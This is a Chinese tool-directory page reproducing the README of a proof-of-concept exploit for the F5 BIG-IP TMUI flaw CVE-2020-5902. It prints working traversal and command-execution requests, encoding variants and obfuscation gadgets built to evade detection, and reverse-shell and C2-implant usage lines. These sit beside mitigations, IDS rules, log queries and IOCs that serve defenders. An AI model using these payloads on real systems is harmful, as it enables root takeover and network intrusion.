Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
F5-BIG-IP — F5 BIG-IP 是企业环境中广泛使用的应用交付和安全平台。CVE-2020-5902 是 TMUI 中的一个严重漏洞,在未修补的版本中可能允许未经授权的访问和远程代码执行,这强调了持续更新和漏洞管理的必要性。 | Kitploit
工具/GitHubGitHub/devrafaelprogrammer/f5-big-ip
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试命令与控制学习与教育红队Payload 开发
GitHubdevrafaelprogrammer/f5-big-ip

F5-BIG-IP

F5 BIG-IP 是企业环境中广泛使用的应用交付和安全平台。CVE-2020-5902 是 TMUI 中的一个严重漏洞,在未修补的版本中可能允许未经授权的访问和远程代码执行,这强调了持续更新和漏洞管理的必要性。

查看仓库
32个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2020-5902 — F5 BIG-IP TMUI 远程代码执行

F5 BIG-IP 流量管理用户界面(TMUI)中严重路径遍历/远程代码执行漏洞的概念验证利用程序。

⚠️ 仅用于授权的渗透测试和安全研究。 未经授权对非您所有或未获书面许可的系统使用属于违法行为。 作者对本工具的滥用不承担任何责任。


目录

  • 背景
  • 漏洞分析
  • 技术深入剖析
  • 受影响版本
  • 功能特性
  • 安装
  • 使用方法
  • 防御措施
  • 检测与威胁狩猎
  • 时间线
  • 参考资料
  • 免责声明

  • 背景

    F5 BIG-IP 是一系列多功能网络设备(负载均衡器、WAF、应用交付控制器)的统称,广泛应用于全球大多数财富500强公司、金融机构、医疗保健机构和政府机构。流量管理用户界面(TMUI) 也称为配置实用程序,是在端口443(或8443)上可访问的基于Web的管理门户。

    2020年7月,F5披露了CVE-2020-5902,这是TMUI中一个严重(CVSS 9.8) 的未授权路径遍历漏洞,允许远程未授权攻击者:

    • 读取底层Linux系统中的任意文件(本地文件包含,LFI)
    • 以root身份执行任意操作系统命令(远程代码执行,RCE)
    • 完全控制设备并横向渗透到内部网络

    在公开披露后的几天内,大规模利用在野外被观察到,包括国家级行为者的利用。


    漏洞分析

    根本原因

    TMUI基于Apache Tomcat构建,并使用Servlet过滤器对受保护资源强制进行身份验证。漏洞在于Tomcat解析分号分隔的路径段(;)的方式。

    以下请求完全绕过身份验证:

    root@kitploit:~
    GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
    

    为何有效:

    1. Tomcat Servlet过滤器将路径视为/tmui/login.jsp(在;之前结束)——这是公开的登录页面——因此允许该请求。
    2. Tomcat的URL解析器随后在处理/..;/时将其当作路径遍历(/../)。
    3. 请求最终被路由到受保护的fileRead.jsp Servlet,无需身份验证。
    root@kitploit:~
    ┌──────────────────────────────────────────────────────────────────┐
    │  客户端请求                                                       │
    │  GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp     │
    └────────────────────────────┬─────────────────────────────────────┘
                                 │
                 ┌───────────────▼───────────────┐
                 │    Tomcat Servlet 过滤器       │
                 │  看到: /tmui/login.jsp  ✓     │
                 │  (公共端点 → 允许)             │
                 └───────────────┬───────────────┘
                                 │
                 ┌───────────────▼───────────────┐
                 │    Tomcat URL 解析器           │
                 │  解析: /..;/ → /../           │
                 │  最终路径: /tmui/locallb/     │
                 │  workspace/fileRead.jsp ← 🔓  │
                 └───────────────┬───────────────┘
                                 │
                 ┌───────────────▼───────────────┐
                 │  fileRead.jsp (无身份验证检查) │
                 │  以root身份读取任意文件        │
                 └───────────────────────────────┘
    

    从LFI到RCE

    tmshCmd.jsp Servlet(同样可通过相同的遍历方式访问)将command和utilCmdArgs参数直接传递给tmsh(BIG-IP管理Shell),后者封装了run util bash -c '...'。这提供了未经过身份验证的root级操作系统命令执行:

    root@kitploit:~
    POST /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
    command=run+util+bash+-c+'id'&utilCmdArgs=-c+'id'
    

    技术深入剖析

    攻击流程

    root@kitploit:~
    阶段1:侦察
      └─ TCP 横幅抓取(HTTP/TLS 指纹)
      └─ SSL 证书分析
      └─ HTTP 头部指纹(Server、X-Powered-By、Set-Cookie)
      └─ 从 /etc/f5-release 估计 BIG-IP 版本
    
    阶段2:漏洞检查
      └─ 遍历 6 种遍历编码变体
      └─ 针对 4 个已知可读的哨兵文件测试
      └─ 确认输出与已知指示符匹配(root:x:0:0、BIG-IP 等)
    
    阶段3:漏洞利用
      ├─ 向量 A:tmshCmd.jsp(主要 RCE)
      │    └─ 命令通过 base64 / 十六进制编码 gadget 混淆
      ├─ 向量 B:fileRead.jsp + fileName 参数中的命令注入
      │    └─ 操作系统命令注入到 fileName 参数中
      └─ 向量 C:日志中毒(User-Agent 注入 → 读取 access_log)
    
    阶段4:后利用(可选)
      ├─ 交互式 Shell(命令 REPL)
      ├─ 反弹 Shell(4 个并发单行命令)
      ├─ LFI 暴力破解(30 个敏感路径,并行)
      └─ C2 植入程序部署(Sliver / Metasploit / 自定义)
    

    遍历编码变体

    变体载荷
    标准tmui/login.jsp/..;/tmui/...
    编码分号tmui/login.jsp/..%3b/tmui/...
    双重 URL 编码tmui%2flogin.jsp%2f..%3b%2ftmui%2f...
    Unicode 点点tmui/login.jsp/%2e%2e;/tmui/...
    大小写变体TMUI/login.jsp/..;/tmui/...
    目录混淆tmui/login.jsp/..;/tmui/locallb/workspace/../workspace/...

    命令混淆 Gadget

    该工具每次执行时应用两种混淆 gadget 之一,使静态签名检测更加困难:

    root@kitploit:~
    # Gadget 1 — Base64 编码/解码管道
    bash -c {echo,aWQ=}|{base64,-d}|bash
    
    # Gadget 2 — 十六进制字节 printf 求值
    eval "$(printf '\x69\x64')"
    

    受影响版本

    BIG-IP 分支受影响范围修复版本
    15.x< 15.1.0.4≥ 15.1.0.4
    14.x< 14.1.2.6≥ 14.1.2.6
    13.x< 13.1.3.4≥ 13.1.3.4
    12.x< 12.1.5.2≥ 12.1.5.2
    11.x< 11.6.5.2≥ 11.6.5.2

    BIG-IQ、BIG-IQ集中管理、F5OS 和 Traffix SDC 不受此特定 CVE 影响。


    功能特性

    • 多变体路径遍历 — 6 种编码排列以规避 WAF/IDS 签名
    • 三个独立 RCE 向量 — tmshCmd.jsp、fileRead 注入、日志中毒
    • 命令混淆 gadget — base64 和十六进制编码管道
    • 被动侦察阶段 — TCP 横幅、SSL/TLS 指纹、HTTP 头部分析
    • 并行 LFI 暴力破解 — 30 个敏感路径,10 个并发线程
    • 并发反弹 Shell — 同时触发 4 条单行命令
    • C2 集成 — Sliver、Metasploit、自定义植入程序(Linux/Windows/PS1)
    • 规避头部 — 随机 User-Agent、IP 欺骗头部、噪声头部
    • 交互式 Shell REPL — !revshell、!c2、!read、!brute 命令
    • 代理支持 — Burp Suite / mitmproxy 集成

    安装

    root@kitploit:~
    git clone https://github.com/DevRafaelprogrammer/F5-BIG-IP.git
    cd F5-BIG-IP
    pip install requests pycryptodome urllib3
    

    要求: Python 3.10+


    使用方法

    root@kitploit:~
    python CVE-2020-5902.py [-h] [--port PORT] [--proxy URL] [--no-recon]
                            [--cmd CMD] [--shell] [--lfi-brute]
                            [--revshell LHOST LPORT]
                            [--c2-url URL] [--c2-type TYPE] [--c2-args ARGS]
                            target
    

    示例

    root@kitploit:~
    # 1. 仅漏洞检查
    python CVE-2020-5902.py 192.168.1.100
    
    # 2. 自定义端口 + 单条命令执行
    python CVE-2020-5902.py 192.168.1.100 --port 8443 --cmd "id && uname -a"
    
    # 3. 交互式 Shell
    python CVE-2020-5902.py 192.168.1.100 --shell
    
    # 4. LFI 暴力破解(读取 30 个敏感路径)
    python CVE-2020-5902.py 192.168.1.100 --lfi-brute
    
    # 5. 反弹 Shell 回调
    python CVE-2020-5902.py 192.168.1.100 --revshell 10.0.0.1 4444
    
    # 6. 部署 C2 植入程序(Sliver 示例)
    python CVE-2020-5902.py 192.168.1.100 \
      --c2-url http://10.0.0.1:8000/implant \
      --c2-type linux
    
    # 7. 通过 Burp Suite 路由以检查流量
    python CVE-2020-5902.py 192.168.1.100 --proxy http://127.0.0.1:8080
    

    交互式 Shell 命令

    进入 --shell 模式后,可使用以下特殊命令:

    命令描述
    !revshell <lhost> <lport>同时触发 4 种反弹 Shell 变体
    !c2 <url> <type> [args]下载并执行 C2 植入程序
    !read <path>通过 LFI 读取任意文件
    !brute暴力破解 30 个敏感路径
    !exit终止会话
    <任意操作系统命令>通过 RCE 执行并打印输出

    防御措施

    即时缓解措施(如果尚无法打补丁)

    1. 阻止从互联网访问 TMUI

    最有效的缓解措施是确保管理接口永远无法从不受信任的网络访问:

    root@kitploit:~
    # BIG-IP:将管理访问限制到专用 VLAN/IP 范围
    tmsh modify sys httpd allow replace-all-with { 10.0.0.0/8 192.168.0.0/16 }
    tmsh save sys config
    

    或者,在 BIG-IP Self IP 配置中,确保管理端口没有外部路由。

    2. 应用 F5 官方缓解措施(补丁前)

    F5 发布了一个缓解脚本,添加 Apache RewriteRule 以阻止遍历模式:

    root@kitploit:~
    # /etc/httpd/conf.d/CVE-2020-5902.conf
    RewriteEngine On
    RewriteCond %{THE_REQUEST} "([^\ ]+)\x3b" [NC]
    RewriteRule ^ - [F,L]
    

    参考: K52145254 — 缓解步骤

    3. 补丁 — 应用修复版本

    最终修复是将 BIG-IP 升级到已修复的版本(请参阅受影响版本表)。F5 修正了 Servlet 过滤器逻辑,以在身份验证强制之前正确解析分号分隔的路径段。


    架构级防御

    管理平面的零信任网络访问

    root@kitploit:~
    ┌────────────────────────────────────────────────────────────────┐
    │  推荐架构                                                       │
    │                                                                 │
    │  互联网 ──────► 防火墙 ──────► DMZ / 生产环境                  │
    │                      │                                          │
    │                      │  (拒绝所有到管理端口的流量)              │
    │                      │                                          │
    │                   跳板机 ──────► BIG-IP TMUI(端口 443)       │
    │                 (MFA + VPN)        (仅管理 VLAN)            │
    └────────────────────────────────────────────────────────────────┘
    

    关键原则:

    • 管理接口绝不能与生产流量位于同一 IP/端口
    • 访问需要先VPN + MFA,然后才能到达跳板机
    • BIG-IP Self IP 端口锁定应设置为 Allow None 或 Allow Defaults

    Web 应用防火墙规则

    如果在 BIG-IP 管理前面有 WAF(不常见但某些架构中可能存在),请添加规则以阻止:

    • 请求包含 ; 的 URL 路径
    • 请求路径段匹配 ..; 或 %3b
    • 来自非管理来源的 /tmui/locallb/workspace/ 请求

    安全加固清单

    root@kitploit:~
    [ ] BIG-IP 已更新到修复版本
    [ ] TMUI 未暴露到互联网(使用 Shodan/Censys 验证)
    [ ] 管理 VLAN 与生产环境隔离
    [ ] Self IP 端口锁定已配置(Allow None 或 Allow Defaults)
    [ ] 管理访问已启用 MFA
    [ ] BIG-IP 软件清单已纳入资产管理系统中
    [ ] 自动漏洞扫描(Tenable/Qualys)包含 BIG-IP
    [ ] 已配置日志转发至 SIEM(access_log、audit.log)
    [ ] 网络分段:被攻陷的 BIG-IP 无法到达域控制器
    [ ] 事件响应预案包含网络设备被攻陷场景
    

    检测与威胁狩猎

    IDS/IPS 签名(Snort / Suricata)

    root@kitploit:~
    # 检测路径遍历尝试(分号绕过)
    alert http any any -> $HOME_NET 443 (
        msg:"CVE-2020-5902 F5 BIG-IP TMUI 路径遍历";
        flow:to_server,established;
        content:"tmui"; http_uri; nocase;
        content:"..;"; http_uri;
        content:"workspace"; http_uri; nocase;
        reference:cve,2020-5902;
        sid:9000001; rev:1;
    )
    
    # 检测编码分号变体
    alert http any any -> $HOME_NET 443 (
        msg:"CVE-2020-5902 F5 BIG-IP TMUI 路径遍历(编码)";
        flow:to_server,established;
        content:"tmui"; http_uri; nocase;
        content:"%3b"; http_uri; nocase;
        content:"fileRead"; http_uri; nocase;
        reference:cve,2020-5902;
        sid:9000002; rev:1;
    )
    

    Apache/HTTPD 日志模式(grep)

    root@kitploit:~
    # 在 BIG-IP 访问日志中搜索遍历尝试
    grep -iE "(\.\.;|%2e%2e|%252e|\.\.%3b|%2e%2e%3b)" /var/log/httpd/access_log
    
    # 查找对易受攻击端点的成功命中
    grep -iE "(fileRead\.jsp|tmshCmd\.jsp|workspace)" /var/log/httpd/access_log | \
      grep -v "^10\.\|^192\.168\.\|^172\.1[6-9]\.\|^172\.2[0-9]\.\|^172\.3[0-1]\."
    

    SIEM 查询(Splunk SPL)

    root@kitploit:~
    index=network sourcetype=f5:bigip:access
      (uri_path="*..;*" OR uri_path="*%3b*" OR uri_path="*%2e%2e*")
      (uri_path="*workspace*" OR uri_path="*fileRead*" OR uri_path="*tmshCmd*")
    | eval risk=if(status=200, "高", "中")
    | stats count by src_ip, uri_path, status, risk
    | sort -count
    

    入侵指标(IOCs)

    URL 模式:

    root@kitploit:~
    /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp
    /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
    /tmui/login.jsp/%2e%2e;/tmui/locallb/workspace/fileRead.jsp
    /tmui/login.jsp/..%3b/tmui/locallb/workspace/fileRead.jsp
    

    常见攻击者目标(访问的文件):

    root@kitploit:~
    /etc/passwd                  — 凭据收集
    /config/bigip.conf           — VPN/路由配置外泄
    /config/bigip.license        — 许可证密钥窃取
    /config/bigip_user.conf      — 本地管理员账户枚举
    /root/.bash_history          — 历史命令侦察
    

    时间线

    日期事件
    2020-06-30F5 私下收到通知
    2020-07-01F5 发布公告(K52145254)和补丁
    2020-07-03公开 PoC 在 Twitter 上发布
    2020-07-04多个威胁情报公司观察到大规模利用
    2020-07-06CISA 发布紧急指令 20-03,要求联邦机构打补丁
    2020-07-09确认国家级行为者(APT)在野外利用
    2020-07-15约 8,000 个 BIG-IP 实例仍未打补丁(Shodan)
    2020-08-xx勒索软件团伙开始针对未打补丁的 BIG-IP 设备

    参考资料

    • NVD — CVE-2020-5902
    • F5 安全公告 K52145254
    • CISA 紧急指令 20-03
    • Rapid7 分析
    • BleepingComputer 报道
    • Shodan 查询:http.title:"BIG-IP" port:443

    免责声明

    本工具仅提供用于教育目的和授权的安全评估。它旨在供以下人员使用:

    • 拥有资产所有者书面授权的渗透测试人员
    • 在实验室环境中研究该漏洞的安全研究人员
    • 构建检测签名和加固配置的防御者
    • CTF(夺旗)竞赛参与者

    在未经明确书面许可的情况下使用本工具攻击系统属于刑事犯罪,违反了美国计算机欺诈与滥用法案(CFAA)、英国计算机滥用法、巴西 Lei Nº 12.737/2012(Lei Carolina Dieckmann)以及全球大多数司法管辖区的类似法律。

    本仓库的作者和贡献者不对任何因滥用本软件造成的损害、法律后果或其他伤害承担责任。


    为安全研究社区而制作。 修补您的系统。保护您的网络。

    下载工具